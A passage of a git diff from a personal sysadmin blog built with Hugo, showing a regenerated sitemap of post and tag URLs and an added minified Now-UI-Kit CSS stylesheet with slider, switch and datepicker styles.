https://h.cowbay.org/tags/wireguard/ + 2019-10-14T13:59:58+08:00 - https://h.cowbay.org/post/multiple-site-to-site-vpn-using-wireguard/ - 2019-08-13T15:50:31+08:00 + https://h.cowbay.org/categories/%E7%AD%86%E8%A8%98/ + 2019-10-14T13:59:58+08:00 - https://h.cowbay.org/post/site-to-site-vpn-using-wireguard-in-two-edgerouters/ - 2019-08-06T17:14:17+08:00 + https://h.cowbay.org/post/recommended-ulauncher-in-ubuntu-1804/ + 2019-10-04T14:12:15+08:00 - https://h.cowbay.org/post/another-way-to-keep-ansible-log/ - 2019-08-05T16:24:40+08:00 + https://h.cowbay.org/tags/launcher/ + 2019-10-04T14:12:15+08:00 - https://h.cowbay.org/post/send-mail-to-notify-after-pxe-install/ - 2019-07-31T11:06:33+08:00 + https://h.cowbay.org/post/pg_auto_failover_in_ubuntu_1804_psql_11/ + 2019-09-20T10:17:17+08:00 - https://h.cowbay.org/post/ansible-run-task-depends-on-ipaddr/ - 2019-07-23T15:06:37+08:00 + https://h.cowbay.org/tags/failover/ + 2019-09-20T10:17:17+08:00 - https://h.cowbay.org/post/ansible-selectattr-from-list-in-dictionary/ - 2019-07-01T09:06:12+08:00 + https://h.cowbay.org/tags/postgresql/ + 2019-09-20T10:17:17+08:00 - https://h.cowbay.org/post/remote-management-system-meshcentral/ - 2019-06-20T11:03:12+08:00 + https://h.cowbay.org/post/bencmark-with-external-internal-nvme-ssd-and-external-sata-ssd/ + 2019-09-10T14:37:09+08:00 - https://h.cowbay.org/post/install-asus-10g-nic-in-proxmox/ - 2019-06-17T13:20:57+08:00 + https://h.cowbay.org/tags/benchmark/ + 2019-09-10T14:37:09+08:00 - https://h.cowbay.org/post/change-timezone-in-docker/ - 2019-05-21T17:25:15+08:00 + https://h.cowbay.org/tags/nvme/ + 2019-09-10T14:37:09+08:00 - https://h.cowbay.org/post/transfer-file-content-using-xclip-in-terminal/ - 2019-05-17T12:18:54+08:00 + https://h.cowbay.org/post/postgresql-backup-restore-using-zfs-snapshot/ + 2019-09-06T10:42:11+08:00 - https://h.cowbay.org/post/inx-collect-detail-hardware-info/ - 2019-04-23T15:28:56+08:00 + https://h.cowbay.org/tags/backup/ + 2019-09-06T10:42:11+08:00 - https://h.cowbay.org/post/log-all-bash-commands/ - 2019-04-23T15:08:36+08:00 + https://h.cowbay.org/tags/restore/ + 2019-09-06T10:42:11+08:00 - https://h.cowbay.org/post/fix-zpool-device-busy-using-dmsetup/ - 2019-04-01T15:56:27+08:00 + https://h.cowbay.org/tags/zfs/ + 2019-09-06T10:42:11+08:00 - https://h.cowbay.org/post/transfer-cent62-using-rsync/ - 2019-03-27T17:44:49+08:00 + https://h.cowbay.org/post/backup-restore-postgresql-with-pgbackrest/ + 2019-09-05T11:42:28+08:00 - https://h.cowbay.org/post/command_to_test_main_ssl/ - 2019-03-20T11:42:47+08:00 + https://h.cowbay.org/post/pgbarman-in-ubuntu-1804-postgresql-10-via-ssh/ + 2019-08-23T14:54:13+08:00 - https://h.cowbay.org/post/install-timeshift-on-ubuntu1804/ - 2019-03-11T14:02:30+08:00 + https://h.cowbay.org/tags/pgbarman/ + 2019-08-23T14:54:13+08:00 - https://h.cowbay.org/post/install-ubuntu1804-on-dell-6ir-raid-controller/ - 2019-01-16T16:17:05+08:00 + https://h.cowbay.org/post/pgbarman-in-ubuntu-1804-postgresql-10/ + 2019-08-23T13:53:40+08:00 - https://h.cowbay.org/post/ubuntu-1804-install-root-on-raid/ - 2019-01-16T09:58:50+08:00 + https://h.cowbay.org/post/install-nvidia-driver-cuda-pgstrom-in-ubuntu-1804/ + 2019-08-20T14:51:54+08:00 - https://h.cowbay.org/post/smartd-failed-to-start-in-freenas/ - 2018-12-13T17:40:20+08:00 + https://h.cowbay.org/tags/nvidia/ + 2019-08-20T14:51:54+08:00 - https://h.cowbay.org/post/incredibly-slow-mdadm-rebuild/ - 2018-12-12T11:10:22+08:00 + https://h.cowbay.org/post/do-no-use-10-0-0-0-private-ipaddr-in-gcp/ + 2019-08-16T10:18:06+08:00 - https://h.cowbay.org/post/create-portable-vim-environment/ - 2018-12-07T15:19:47+08:00 + https://h.cowbay.org/post/multiple-site-to-site-vpn-using-wireguard/ + 2019-08-13T15:50:31+08:00 - https://h.cowbay.org/post/synology-ds415-repair-cost/ - 2018-12-04T10:25:19+08:00 + https://h.cowbay.org/tags/ubuntu/ + 2019-08-13T15:50:31+08:00 - https://h.cowbay.org/post/10g-lab-using-proxmox-and-mellanox/ - 2018-11-30T16:05:14+08:00 + https://h.cowbay.org/post/site-to-site-vpn-using-wireguard-in-two-edgerouters/ + 2019-08-06T17:14:17+08:00 - https://h.cowbay.org/post/ansible-selectattr-filter/ - 2018-11-29T11:22:28+08:00 + https://h.cowbay.org/tags/edgerouter/ + 2019-08-06T17:14:17+08:00 - https://h.cowbay.org/post/ansible-selectattr/ - 2018-11-27T16:50:53+08:00 + https://h.cowbay.org/post/another-way-to-keep-ansible-log/ + 2019-08-05T16:24:40+08:00 - https://h.cowbay.org/post/change-preferred-language-in-firefox/ - 2018-11-15T11:06:28+08:00 + https://h.cowbay.org/categories/ansible/ + 2019-08-05T16:24:40+08:00 - https://h.cowbay.org/post/copy_role_in_pgsql/ - 2018-11-12T09:48:12+08:00 + https://h.cowbay.org/tags/ansible/ + 2019-08-05T16:24:40+08:00 - https://h.cowbay.org/post/weird-client-server-connection/ - 2018-11-08T18:01:23+08:00 + https://h.cowbay.org/post/send-mail-to-notify-after-pxe-install/ + 2019-07-31T11:06:33+08:00 - https://h.cowbay.org/post/nice-du-report-tool-durep/ - 2018-11-06T15:24:29+08:00 + https://h.cowbay.org/tags/linux/ + 2019-07-31T11:06:33+08:00 - https://h.cowbay.org/post/bookstack-docker/ - 2018-11-06T14:57:14+08:00 + https://h.cowbay.org/tags/pxe/ + 2019-07-31T11:06:33+08:00 - https://h.cowbay.org/post/enable-synology-public-ssh/ - 2018-11-05T14:16:54+08:00 + https://h.cowbay.org/post/ansible-run-task-depends-on-ipaddr/ + 2019-07-23T15:06:37+08:00 - https://h.cowbay.org/gallery/sammy93/ - 2018-11-05T07:46:53+08:00 + https://h.cowbay.org/post/ansible-selectattr-from-list-in-dictionary/ + 2019-07-01T09:06:12+08:00 - https://h.cowbay.org/categories/ - 2019-10-04T14:12:15+08:00 - 0 + https://h.cowbay.org/post/remote-management-system-meshcentral/ + 2019-06-20T11:03:12+08:00 - https://h.cowbay.org/tags/10g/ - 2018-11-30T16:05:14+08:00 - 0 + https://h.cowbay.org/tags/meshcentral/ + 2019-06-20T11:03:12+08:00 - https://h.cowbay.org/tags/ansible/ - 2019-08-05T16:24:40+08:00 - 0 + https://h.cowbay.org/tags/remote/ + 2019-06-20T11:03:12+08:00 - https://h.cowbay.org/categories/ansible/ - 2019-08-05T16:24:40+08:00 - 0 + https://h.cowbay.org/post/install-asus-10g-nic-in-proxmox/ + 2019-06-17T13:20:57+08:00 - https://h.cowbay.org/author/ - 0 - - - + https://h.cowbay.org/categories/proxmox/ + 2019-06-17T13:20:57+08:00 - https://h.cowbay.org/tags/backup/ - 2019-09-06T10:42:11+08:00 - 0 + https://h.cowbay.org/tags/proxmox/ + 2019-06-17T13:20:57+08:00 - https://h.cowbay.org/tags/benchmark/ - 2019-09-10T14:37:09+08:00 - 0 + https://h.cowbay.org/post/change-timezone-in-docker/ + 2019-05-21T17:25:15+08:00 - https://h.cowbay.org/tags/bookstack/ - 2018-11-06T14:57:14+08:00 - 0 + https://h.cowbay.org/tags/docker/ + 2019-05-21T17:25:15+08:00 - https://h.cowbay.org/tags/bsd/ - 2019-04-23T15:28:56+08:00 - 0 + https://h.cowbay.org/tags/timezone/ + 2019-05-21T17:25:15+08:00 - https://h.cowbay.org/categories/ - 2019-10-04T14:12:15+08:00 - 0 - - - + https://h.cowbay.org/categories/linux/ + 2019-05-17T12:18:54+08:00 - https://h.cowbay.org/tags/centos/ - 2019-03-27T17:44:49+08:00 - 0 + https://h.cowbay.org/post/transfer-file-content-using-xclip-in-terminal/ + 2019-05-17T12:18:54+08:00 - https://h.cowbay.org/tags/docker/ - 2019-05-21T17:25:15+08:00 - 0 + https://h.cowbay.org/post/inx-collect-detail-hardware-info/ + 2019-04-23T15:28:56+08:00 - https://h.cowbay.org/tags/du/ - 2018-11-06T15:24:29+08:00 - 0 + https://h.cowbay.org/tags/bsd/ + 2019-04-23T15:28:56+08:00 - https://h.cowbay.org/tags/edgerouter/ - 2019-08-06T17:14:17+08:00 - 0 + https://h.cowbay.org/tags/inventory/ + 2019-04-23T15:28:56+08:00 - https://h.cowbay.org/author/eric-chang/ - 2019-10-04T14:12:15+08:00 - 0 + https://h.cowbay.org/post/log-all-bash-commands/ + 2019-04-23T15:08:36+08:00 - https://h.cowbay.org/tags/failover/ - 2019-09-20T10:17:17+08:00 - 0 + https://h.cowbay.org/tags/log/ + 2019-04-23T15:08:36+08:00 - https://h.cowbay.org/tags/firefox/ - 2018-11-15T11:06:28+08:00 - 0 + https://h.cowbay.org/post/fix-zpool-device-busy-using-dmsetup/ + 2019-04-01T15:56:27+08:00 - https://h.cowbay.org/tags/freenas/ - 2018-12-13T17:40:20+08:00 - 0 + https://h.cowbay.org/post/transfer-cent62-using-rsync/ + 2019-03-27T17:44:49+08:00 - https://h.cowbay.org/gallery/ - 2018-11-05T07:46:53+08:00 - 0 + https://h.cowbay.org/tags/centos/ + 2019-03-27T17:44:49+08:00 - https://h.cowbay.org/tags/inventory/ - 2019-04-23T15:28:56+08:00 - 0 + https://h.cowbay.org/post/command_to_test_main_ssl/ + 2019-03-20T11:42:47+08:00 - https://h.cowbay.org/tags/launcher/ - 2019-10-04T14:12:15+08:00 - 0 + https://h.cowbay.org/post/install-timeshift-on-ubuntu1804/ + 2019-03-11T14:02:30+08:00 - https://h.cowbay.org/tags/linux/ - 2019-07-31T11:06:33+08:00 - 0 + https://h.cowbay.org/post/install-ubuntu1804-on-dell-6ir-raid-controller/ + 2019-01-16T16:17:05+08:00 - https://h.cowbay.org/categories/linux/ - 2019-05-17T12:18:54+08:00 - 0 + https://h.cowbay.org/tags/raid/ + 2019-01-16T09:58:50+08:00 - https://h.cowbay.org/tags/log/ - 2019-04-23T15:08:36+08:00 - 0 + https://h.cowbay.org/post/ubuntu-1804-install-root-on-raid/ + 2019-01-16T09:58:50+08:00 - https://h.cowbay.org/ - 2019-10-04T14:12:15+08:00 - 0 - - - + https://h.cowbay.org/post/smartd-failed-to-start-in-freenas/ + 2018-12-13T17:40:20+08:00 - https://h.cowbay.org/tags/mdadm/ - 2018-12-12T11:10:22+08:00 - 0 + https://h.cowbay.org/tags/freenas/ + 2018-12-13T17:40:20+08:00 - https://h.cowbay.org/tags/mellanox/ - 2018-11-30T16:05:14+08:00 - 0 + https://h.cowbay.org/post/incredibly-slow-mdadm-rebuild/ + 2018-12-12T11:10:22+08:00 - https://h.cowbay.org/tags/meshcentral/ - 2019-06-20T11:03:12+08:00 - 0 + https://h.cowbay.org/tags/mdadm/ + 2018-12-12T11:10:22+08:00 - https://h.cowbay.org/tags/metabase/ - 2018-11-15T11:06:28+08:00 - 0 + https://h.cowbay.org/categories/%E7%A2%8E%E5%BF%B5/ + 2018-12-12T11:10:22+08:00 - https://h.cowbay.org/tags/nas/ - 2018-12-04T10:25:19+08:00 - 0 + https://h.cowbay.org/post/create-portable-vim-environment/ + 2018-12-07T15:19:47+08:00 - https://h.cowbay.org/tags/nvidia/ - 2019-08-20T14:51:54+08:00 - 0 + https://h.cowbay.org/tags/vim/ + 2018-12-07T15:19:47+08:00 - https://h.cowbay.org/tags/nvme/ - 2019-09-10T14:37:09+08:00 - 0 + https://h.cowbay.org/post/synology-ds415-repair-cost/ + 2018-12-04T10:25:19+08:00 - https://h.cowbay.org/tags/pgbarman/ - 2019-08-23T14:54:13+08:00 - 0 + https://h.cowbay.org/tags/nas/ + 2018-12-04T10:25:19+08:00 - https://h.cowbay.org/tags/postgresql/ - 2019-09-20T10:17:17+08:00 - 0 + https://h.cowbay.org/tags/synology/ + 2018-12-04T10:25:19+08:00 - https://h.cowbay.org/post/ - 2019-10-04T14:12:15+08:00 - 0 + https://h.cowbay.org/categories/%E7%BE%A4%E6%9A%89/ + 2018-12-04T10:25:19+08:00 - https://h.cowbay.org/tags/proxmox/ - 2019-06-17T13:20:57+08:00 - 0 + https://h.cowbay.org/tags/%E7%BE%A4%E6%9A%89/ + 2018-12-04T10:25:19+08:00 - https://h.cowbay.org/categories/proxmox/ - 2019-06-17T13:20:57+08:00 - 0 + https://h.cowbay.org/tags/10g/ + 2018-11-30T16:05:14+08:00 - https://h.cowbay.org/tags/ps/ - 2018-11-05T07:46:53+08:00 - 0 + https://h.cowbay.org/post/10g-lab-using-proxmox-and-mellanox/ + 2018-11-30T16:05:14+08:00 - https://h.cowbay.org/categories/ps/ - 2018-11-05T07:46:53+08:00 - 0 + https://h.cowbay.org/tags/mellanox/ + 2018-11-30T16:05:14+08:00 - https://h.cowbay.org/tags/psql/ - 2018-11-12T09:48:12+08:00 - 0 + https://h.cowbay.org/tags/%E7%AD%86%E8%A8%98/ + 2018-11-30T16:05:14+08:00 - https://h.cowbay.org/tags/pxe/ - 2019-07-31T11:06:33+08:00 - 0 + https://h.cowbay.org/post/ansible-selectattr-filter/ + 2018-11-29T11:22:28+08:00 - https://h.cowbay.org/tags/raid/ - 2019-01-16T09:58:50+08:00 - 0 + https://h.cowbay.org/post/ansible-selectattr/ + 2018-11-27T16:50:53+08:00 - https://h.cowbay.org/tags/remote/ - 2019-06-20T11:03:12+08:00 - 0 + https://h.cowbay.org/post/change-preferred-language-in-firefox/ + 2018-11-15T11:06:28+08:00 - https://h.cowbay.org/tags/restore/ - 2019-09-06T10:42:11+08:00 - 0 + https://h.cowbay.org/tags/firefox/ + 2018-11-15T11:06:28+08:00 - https://h.cowbay.org/tags/ssh/ - 2018-11-05T14:16:54+08:00 - 0 + https://h.cowbay.org/tags/metabase/ + 2018-11-15T11:06:28+08:00 - https://h.cowbay.org/tags/synology/ - 2018-12-04T10:25:19+08:00 - 0 + https://h.cowbay.org/post/copy_role_in_pgsql/ + 2018-11-12T09:48:12+08:00 - https://h.cowbay.org/tags/ - 2018-11-30T16:05:14+08:00 - 0 - - - + https://h.cowbay.org/tags/psql/ + 2018-11-12T09:48:12+08:00 - https://h.cowbay.org/tags/timezone/ - 2019-05-21T17:25:15+08:00 - 0 + https://h.cowbay.org/post/weird-client-server-connection/ + 2018-11-08T18:01:23+08:00 - https://h.cowbay.org/tags/ubuntu/ - 2019-08-13T15:50:31+08:00 - 0 + https://h.cowbay.org/tags/du/ + 2018-11-06T15:24:29+08:00 - https://h.cowbay.org/tags/vim/ - 2018-12-07T15:19:47+08:00 - 0 + https://h.cowbay.org/post/nice-du-report-tool-durep/ + 2018-11-06T15:24:29+08:00 - https://h.cowbay.org/tags/vpn/ - 2019-08-16T10:18:06+08:00 - 0 + https://h.cowbay.org/tags/bookstack/ + 2018-11-06T14:57:14+08:00 - https://h.cowbay.org/tags/wireguard/ - 2019-08-16T10:18:06+08:00 - 0 + https://h.cowbay.org/post/bookstack-docker/ + 2018-11-06T14:57:14+08:00 - https://h.cowbay.org/tags/zfs/ - 2019-09-06T10:42:11+08:00 - 0 + https://h.cowbay.org/tags/ssh/ + 2018-11-05T14:16:54+08:00 - https://h.cowbay.org/tags/%E7%9F%AD%E4%BB%8A/ - 2018-11-05T07:46:53+08:00 - 0 + https://h.cowbay.org/post/enable-synology-public-ssh/ + 2018-11-05T14:16:54+08:00 - https://h.cowbay.org/categories/%E7%A2%8E%E5%BF%B5/ - 2018-12-12T11:10:22+08:00 - 0 + https://h.cowbay.org/gallery/ + 2018-11-05T07:46:53+08:00 - https://h.cowbay.org/tags/%E7%AD%86%E8%A8%98/ - 2018-11-30T16:05:14+08:00 - 0 + https://h.cowbay.org/categories/ps/ + 2018-11-05T07:46:53+08:00 - https://h.cowbay.org/categories/%E7%AD%86%E8%A8%98/ - 2019-09-20T10:17:17+08:00 - 0 + https://h.cowbay.org/tags/ps/ + 2018-11-05T07:46:53+08:00 - https://h.cowbay.org/tags/%E7%BE%A4%E6%9A%89/ - 2018-12-04T10:25:19+08:00 - 0 + https://h.cowbay.org/gallery/sammy93/ + 2018-11-05T07:46:53+08:00 - https://h.cowbay.org/categories/%E7%BE%A4%E6%9A%89/ - 2018-12-04T10:25:19+08:00 - 0 + https://h.cowbay.org/tags/%E7%9F%AD%E4%BB%8A/ + 2018-11-05T07:46:53+08:00 \ No newline at end of file diff --git a/resources/_gen/assets/scss/sass/now-ui-kit.scss_48b060fe05b0a273d182ef83c0605941.content b/resources/_gen/assets/scss/sass/now-ui-kit.scss_48b060fe05b0a273d182ef83c0605941.content new file mode 100644 index 00000000..1b879a38 --- /dev/null +++ b/resources/_gen/assets/scss/sass/now-ui-kit.scss_48b060fe05b0a273d182ef83c0605941.content @@ -0,0 +1,11 @@ +/*!========================================================= +* Now-ui-kit - v1.1.0 +========================================================= +* Product Page: http://www.creative-tim.com/product/now-ui-kit +* Copyright 2017 Creative Tim (http://www.creative-tim.com) +* Licensed under MIT (https://github.com/creativetimofficial/now-ui-kit/blob/master/LICENSE.md) +* Designed by www.invisionapp.com Coded by www.creative-tim.com +========================================================= +* The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.*/.bootstrap-switch{display:inline-block;direction:ltr;cursor:pointer;border-radius:30px;border:0;position:relative;text-align:left;margin-bottom:10px;line-height:8px;width:59px!important;height:22px;outline:none;z-index:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;vertical-align:middle;-webkit-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;margin-right:20px;background:rgba(44,44,44,.2)}.bootstrap-switch .bootstrap-switch-container{display:inline-flex;top:0;height:22px;border-radius:4px;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);width:100px!important}.bootstrap-switch .bootstrap-switch-handle-on,.bootstrap-switch .bootstrap-switch-handle-off,.bootstrap-switch .bootstrap-switch-label{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;cursor:pointer;display:inline-block!important;height:100%;color:#fff;padding:6px 12px;font-size:11px;text-indent:-5px;line-height:15px;-webkit-transition:.25s ease-out;transition:.25s ease-out}.bootstrap-switch .bootstrap-switch-handle-on,.bootstrap-switch .bootstrap-switch-handle-off{text-align:center;z-index:1;float:left;line-height:11px;width:50%!important}.bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-brown,.bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-brown{color:#fff;background:#f96332}.bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-blue,.bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-blue{color:#fff;background:#2ca8ff}.bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-green,.bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-green{color:#fff;background:#18ce0f}.bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-orange,.bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-orange{background:#ffb236;color:#fff}.bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-red,.bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-red{color:#fff;background:#ff3636}.bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-default,.bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-default{color:#fff}.bootstrap-switch .bootstrap-switch-label{text-align:center;z-index:100;color:#333;background:#fff;width:22px!important;height:22px!important;margin:0 -11px;border-radius:20px;position:absolute;float:left;top:0;left:50%;padding:0;box-shadow:0 1px 11px rgba(0,0,0,.25)}.bootstrap-switch.bootstrap-switch-off .bootstrap-switch-label{background-color:rgba(23,23,23,.4)}.bootstrap-switch.bootstrap-switch-on:hover .bootstrap-switch-label{width:27px!important;margin-left:-16px}.bootstrap-switch.bootstrap-switch-off:hover .bootstrap-switch-label{width:27px!important;margin-left:-11px}.bootstrap-switch .bootstrap-switch-handle-on{border-bottom-left-radius:3px;border-top-left-radius:3px}.bootstrap-switch .bootstrap-switch-handle-off{text-indent:6px}.bootstrap-switch input[type=radio],.bootstrap-switch input[type=checkbox]{position:absolute!important;top:0;left:0;opacity:0;filter:alpha(opacity=0);z-index:-1}.bootstrap-switch input[type=radio].form-control,.bootstrap-switch input[type=checkbox].form-control{height:auto}.bootstrap-switch.bootstrap-switch-mini .bootstrap-switch-handle-on,.bootstrap-switch.bootstrap-switch-mini .bootstrap-switch-handle-off,.bootstrap-switch.bootstrap-switch-mini .bootstrap-switch-label{padding:1px 5px;font-size:12px;line-height:1.5}.bootstrap-switch.bootstrap-switch-small .bootstrap-switch-handle-on,.bootstrap-switch.bootstrap-switch-small .bootstrap-switch-handle-off,.bootstrap-switch.bootstrap-switch-small .bootstrap-switch-label{padding:5px 10px;font-size:12px;line-height:1.5}.bootstrap-switch.bootstrap-switch-large .bootstrap-switch-handle-on,.bootstrap-switch.bootstrap-switch-large .bootstrap-switch-handle-off,.bootstrap-switch.bootstrap-switch-large .bootstrap-switch-label{padding:6px 16px;font-size:18px;line-height:1.33}.bootstrap-switch.bootstrap-switch-disabled,.bootstrap-switch.bootstrap-switch-readonly,.bootstrap-switch.bootstrap-switch-indeterminate{cursor:default!important}.bootstrap-switch.bootstrap-switch-disabled .bootstrap-switch-handle-on,.bootstrap-switch.bootstrap-switch-readonly .bootstrap-switch-handle-on,.bootstrap-switch.bootstrap-switch-indeterminate .bootstrap-switch-handle-on,.bootstrap-switch.bootstrap-switch-disabled .bootstrap-switch-handle-off,.bootstrap-switch.bootstrap-switch-readonly .bootstrap-switch-handle-off,.bootstrap-switch.bootstrap-switch-indeterminate .bootstrap-switch-handle-off,.bootstrap-switch.bootstrap-switch-disabled .bootstrap-switch-label,.bootstrap-switch.bootstrap-switch-readonly .bootstrap-switch-label,.bootstrap-switch.bootstrap-switch-indeterminate .bootstrap-switch-label{opacity:.5;filter:alpha(opacity=50);cursor:default!important}.bootstrap-switch.bootstrap-switch-animate .bootstrap-switch-container{-webkit-transition:margin-left .5s;transition:margin-left .5s}.bootstrap-switch.bootstrap-switch-inverse .bootstrap-switch-handle-on{border-bottom-left-radius:0;border-top-left-radius:0;border-bottom-right-radius:3px;border-top-right-radius:3px}.bootstrap-switch.bootstrap-switch-inverse .bootstrap-switch-handle-off{border-bottom-right-radius:0;border-top-right-radius:0;border-bottom-left-radius:3px;border-top-left-radius:3px}.bootstrap-switch.bootstrap-switch-on .bootstrap-switch-container{margin-left:-2px!important}.bootstrap-switch.bootstrap-switch-off .bootstrap-switch-container{margin-left:-39px!important}.bootstrap-switch.bootstrap-switch-on .bootstrap-switch-label:before{background-color:#fff}.bootstrap-switch.bootstrap-switch-on .bootstrap-switch-red~.bootstrap-switch-default{background-color:#ff3636}.bootstrap-switch.bootstrap-switch-on .bootstrap-switch-orange~.bootstrap-switch-default{background-color:#ffb236}.bootstrap-switch.bootstrap-switch-on .bootstrap-switch-green~.bootstrap-switch-default{background-color:#18ce0f}.bootstrap-switch.bootstrap-switch-on .bootstrap-switch-brown~.bootstrap-switch-default{background-color:#f96332}.bootstrap-switch.bootstrap-switch-on .bootstrap-switch-blue~.bootstrap-switch-default{background-color:#2ca8ff}.bootstrap-switch.bootstrap-switch-off .bootstrap-switch-red,.bootstrap-switch.bootstrap-switch-off .bootstrap-switch-brown,.bootstrap-switch.bootstrap-switch-off .bootstrap-switch-blue,.bootstrap-switch.bootstrap-switch-off .bootstrap-switch-orange,.bootstrap-switch.bootstrap-switch-off .bootstrap-switch-green{background-color:#e3e3e3}.bootstrap-switch-off .bootstrap-switch-handle-on{opacity:0}.bootstrap-switch-on .bootstrap-switch-handle-off{opacity:0}/*!nouislider - 9.1.0 - 2016-12-10 16:00:32*/.noUi-target,.noUi-target *{-webkit-touch-callout:none;-webkit-tap-highlight-color:rgba(0,0,0,0);-webkit-user-select:none;-ms-touch-action:none;touch-action:none;-ms-user-select:none;-moz-user-select:none;user-select:none;-moz-box-sizing:border-box;box-sizing:border-box}.noUi-target{position:relative;direction:ltr}.noUi-base{width:100%;height:100%;position:relative;z-index:1}.noUi-connect{position:absolute;right:0;top:0;left:0;bottom:0}.noUi-origin{position:absolute;height:0;width:0}.noUi-handle{position:relative;z-index:1}.noUi-state-tap .noUi-connect,.noUi-state-tap .noUi-origin{-webkit-transition:top .3s,right .3s,bottom .3s,left .3s;transition:top .3s,right .3s,bottom .3s,left .3s}.noUi-state-drag *{cursor:inherit!important}.noUi-base,.noUi-handle{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.noUi-horizontal{height:1px}.noUi-horizontal .noUi-handle{border-radius:50%;background-color:#fff;box-shadow:0 1px 13px 0 rgba(0,0,0,.2);height:15px;width:15px;cursor:pointer;margin-left:-10px;margin-top:-7px}.noUi-vertical{width:18px}.noUi-vertical .noUi-handle{width:28px;height:34px;left:-6px;top:-17px}.noUi-target{background-color:rgba(182,182,182,.3);border-radius:3px}.noUi-connect{background:#888;border-radius:3px;-webkit-transition:background 450ms;transition:background 450ms}.noUi-draggable{cursor:ew-resize}.noUi-vertical .noUi-draggable{cursor:ns-resize}.noUi-handle{border-radius:3px;background:#fff;cursor:default;box-shadow:inset 0 0 1px #fff,inset 0 1px 7px #ebebeb,0 3px 6px -3px #bbb;-webkit-transition:300ms ease 0s;-moz-transition:300ms ease 0s;-ms-transition:300ms ease 0s;-o-transform:300ms ease 0s;transition:300ms ease 0s}.noUi-active{-webkit-transform:scale3d(1.5,1.5,1);-moz-transform:scale3d(1.5,1.5,1);-ms-transform:scale3d(1.5,1.5,1);-o-transform:scale3d(1.5,1.5,1);transform:scale3d(1.5,1.5,1)}[disabled] .noUi-connect{background:#b8b8b8}[disabled].noUi-target,[disabled].noUi-handle,[disabled] .noUi-handle{cursor:not-allowed}.noUi-pips,.noUi-pips *{-moz-box-sizing:border-box;box-sizing:border-box}.noUi-pips{position:absolute;color:#999}.noUi-value{position:absolute;text-align:center}.noUi-value-sub{color:#ccc;font-size:10px}.noUi-marker{position:absolute;background:#ccc}.noUi-marker-sub{background:#aaa}.noUi-marker-large{background:#aaa}.noUi-pips-horizontal{padding:10px 0;height:80px;top:100%;left:0;width:100%}.noUi-value-horizontal{-webkit-transform:translate3d(-50%,50%,0);transform:translate3d(-50%,50%,0)}.noUi-marker-horizontal.noUi-marker{margin-left:-1px;width:2px;height:5px}.noUi-marker-horizontal.noUi-marker-sub{height:10px}.noUi-marker-horizontal.noUi-marker-large{height:15px}.noUi-pips-vertical{padding:0 10px;height:100%;top:0;left:100%}.noUi-value-vertical{-webkit-transform:translate3d(0,50%,0);transform:translate3d(0,50%,0);padding-left:25px}.noUi-marker-vertical.noUi-marker{width:5px;height:2px;margin-top:-1px}.noUi-marker-vertical.noUi-marker-sub{width:10px}.noUi-marker-vertical.noUi-marker-large{width:15px}.noUi-tooltip{display:block;position:absolute;border:1px solid #d9d9d9;border-radius:3px;background:#fff;color:#000;padding:5px;text-align:center}.noUi-horizontal .noUi-tooltip{-webkit-transform:translate(-50%,0);transform:translate(-50%,0);left:50%;bottom:120%}.noUi-vertical .noUi-tooltip{-webkit-transform:translate(0,-50%);transform:translate(0,-50%);top:50%;right:120%}.slider.slider-neutral .noUi-connect,.slider.slider-neutral.noUi-connect{background-color:#fff}.slider.slider-neutral.noUi-target{background-color:rgba(255,255,255,.3)}.slider.slider-neutral .noUi-handle{background-color:#fff}.slider.slider-primary .noUi-connect,.slider.slider-primary.noUi-connect{background-color:#f96332}.slider.slider-primary.noUi-target{background-color:rgba(249,99,50,.3)}.slider.slider-primary .noUi-handle{background-color:#f96332}.slider.slider-info .noUi-connect,.slider.slider-info.noUi-connect{background-color:#2ca8ff}.slider.slider-info.noUi-target{background-color:rgba(44,168,255,.3)}.slider.slider-info .noUi-handle{background-color:#2ca8ff}.slider.slider-success .noUi-connect,.slider.slider-success.noUi-connect{background-color:#18ce0f}.slider.slider-success.noUi-target{background-color:rgba(24,206,15,.3)}.slider.slider-success .noUi-handle{background-color:#18ce0f}.slider.slider-warning .noUi-connect,.slider.slider-warning.noUi-connect{background-color:#ffb236}.slider.slider-warning.noUi-target{background-color:rgba(255,178,54,.3)}.slider.slider-warning .noUi-handle{background-color:#ffb236}.slider.slider-danger .noUi-connect,.slider.slider-danger.noUi-connect{background-color:#ff3636}.slider.slider-danger.noUi-target{background-color:rgba(255,54,54,.3)}.slider.slider-danger .noUi-handle{background-color:#ff3636}/*!* Datepicker for Bootstrap v1.7.0-dev (https://github.com/uxsolutions/bootstrap-datepicker) +* +* Licensed under the Apache License v2.0 (http://www.apache.org/licenses/LICENSE-2.0)*/.datepicker{padding:8px 6px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;direction:ltr;-webkit-transform:translate3d(0,-40px,0);-moz-transform:translate3d(0,-40px,0);-o-transform:translate3d(0,-40px,0);-ms-transform:translate3d(0,-40px,0);transform:translate3d(0,-40px,0);transition:all .3s cubic-bezier(0.215,0.61,0.355,1) 0s,opacity .3s ease 0s,height 0s linear .35s;opacity:0;filter:alpha(opacity=0);visibility:hidden;display:block;width:254px;max-width:254px}.datepicker.dropdown-menu:before{display:none}.datepicker.datepicker-primary{background-color:#f96332}.datepicker.datepicker-primary th,.datepicker.datepicker-primary .day div,.datepicker.datepicker-primary table tr td span{color:#fff}.datepicker.datepicker-primary:after{border-bottom-color:#f96332}.datepicker.datepicker-primary.datepicker-orient-top:after{border-top-color:#f96332}.datepicker.datepicker-primary .dow{color:rgba(255,255,255,.8)}.datepicker.datepicker-primary table tr td.old 